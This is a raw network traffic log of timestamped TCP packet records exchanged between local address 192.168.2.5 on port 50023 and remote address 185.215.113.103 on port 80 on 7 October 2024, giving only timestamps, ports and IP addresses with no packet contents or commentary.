Oct 7, 2024 13:27:26.262011051 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.262022972 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.262033939 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.262067080 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.262912989 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.262928009 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.262938976 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.262950897 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.262962103 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.262973070 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.263004065 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.263886929 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.263930082 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.263942003 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.263947010 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.263953924 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.263967991 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.263969898 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.263991117 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.264019966 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.264852047 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.264867067 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.264878035 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.264889956 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.264900923 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.264908075 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.264914036 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.264952898 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.264967918 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.265578985 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.265592098 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.265604019 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.265614986 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.265626907 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.265633106 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.265642881 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.265666962 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.266495943 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.266510010 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.266520977 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.266532898 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.266545057 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.266551971 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.266828060 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.307291031 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.307322025 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.307334900 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.307378054 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.307424068 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.307509899 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.307523966 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.307570934 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.307868004 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.307881117 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.307893038 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.307928085 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.307943106 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.308278084 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.308293104 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.308303118 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.308315992 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.308327913 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.308339119 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.308372021 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.309125900 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.309146881 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.309194088 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.341047049 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.341095924 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.341109991 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.341120958 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.341150045 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.341156960 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.341449976 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.341463089 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.341474056 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.341485977 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.341491938 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.341587067 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.342339039 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.342351913 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.342364073 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.342412949 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.342441082 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.343188047 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.343200922 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.343210936 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.343224049 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.343235016 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.343265057 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.343300104 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.344054937 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.344068050 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.344078064 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.344089985 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.344100952 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.344110966 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.344114065 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.344158888 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.344997883 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.345010996 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.345021963 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.345033884 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.345046043 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.345057964 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.345079899 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.345117092 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.345876932 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.345890999 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.345901012 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.345912933 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.345923901 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.345935106 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.345949888 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.345988035 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.346632004 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.346645117 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.346654892 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.346667051 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.346678019 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.346692085 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.346703053 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.346703053 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.346715927 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.346744061 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.346757889 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.347738028 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.347752094 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.347763062 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.347774029 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.347815990 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.347867966 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.347882032 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.347924948 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.348140955 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.348155022 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.348201990 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.348212004 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.348819017 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.348831892 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.348843098 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.348854065 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.348867893 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.348880053 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.348901987 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.348912954 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.348922968 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.348965883 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.349689007 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.349703074 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.349714994 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.349726915 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.349741936 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.349755049 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.349762917 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.349767923 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.349781036 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.349788904 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.349814892 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.350677013 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.350692987 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.350704908 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.350719929 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.350733042 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.350743055 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.350747108 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.350775957 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.350795984 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.374666929 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.374695063 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.374727964 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.374757051 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.374845982 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.374859095 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.374871016 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.374901056 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.374917984 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.374943972 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.375377893 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.375546932 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.375559092 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.375603914 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.378173113 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378226042 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378230095 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.378267050 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.378388882 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378453970 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.378583908 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378596067 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378612041 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378631115 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378639936 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.378643990 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378655910 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378660917 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378671885 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378679991 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.378684044 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378698111 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378709078 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.378722906 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378735065 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378736019 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.378746986 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378755093 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378762007 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.378766060 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378782988 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378794909 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378803968 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.378807068 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378822088 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378833055 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.378837109 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.378853083 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.378876925 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.397794962 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.397810936 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.397866964 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.397907972 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.397949934 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.397967100 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.397979975 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.398001909 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.398021936 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.398355961 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.398372889 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.398411036 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.398605108 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.398621082 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.398633957 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.398648024 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.398665905 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.398704052 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.399019957 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.399034977 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.399051905 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.399061918 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.399068117 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.399086952 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.399117947 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.431298971 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.431366920 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.431379080 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.431390047 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.431427002 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.431427002 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.431530952 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.431543112 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.431571007 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.431655884 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.431668043 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.431756020 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.431900978 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.431911945 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.431942940 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.432010889 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.432023048 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.432075024 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.432281017 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.432291985 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.432302952 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.432313919 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.432324886 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.432326078 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.432353973 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.432378054 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.432784081 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.432795048 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.432833910 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.433096886 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.433108091 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.433120012 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.433131933 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.433142900 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.433154106 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.433159113 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.433193922 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.433537006 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.433547974 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.433568954 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.433581114 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.433585882 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.433593035 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.433593035 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.433676958 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.434263945 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.434274912 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.434286118 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.434297085 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.434303045 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.434312105 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.434325933 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.434325933 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.434361935 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.434910059 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.434921026 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.434931040 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.434942007 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.434958935 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.434997082 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.435575962 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.435586929 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.435597897 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.435611010 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.435623884 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.435635090 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.435642004 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.435647964 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.435661077 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.435667038 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.435688019 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.435707092 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.436563015 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.436574936 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.436585903 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.436597109 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.436609983 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.436633110 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.436645031 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.436655998 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.436666965 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.436678886 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.436678886 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.436708927 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.436729908 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.437536001 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.437550068 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.437561035 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.437573910 CEST	80	50023	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:26.437582016 CEST	50023	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:26.437586069 CEST	80	50023	185.215.113.103	192.168.2.5
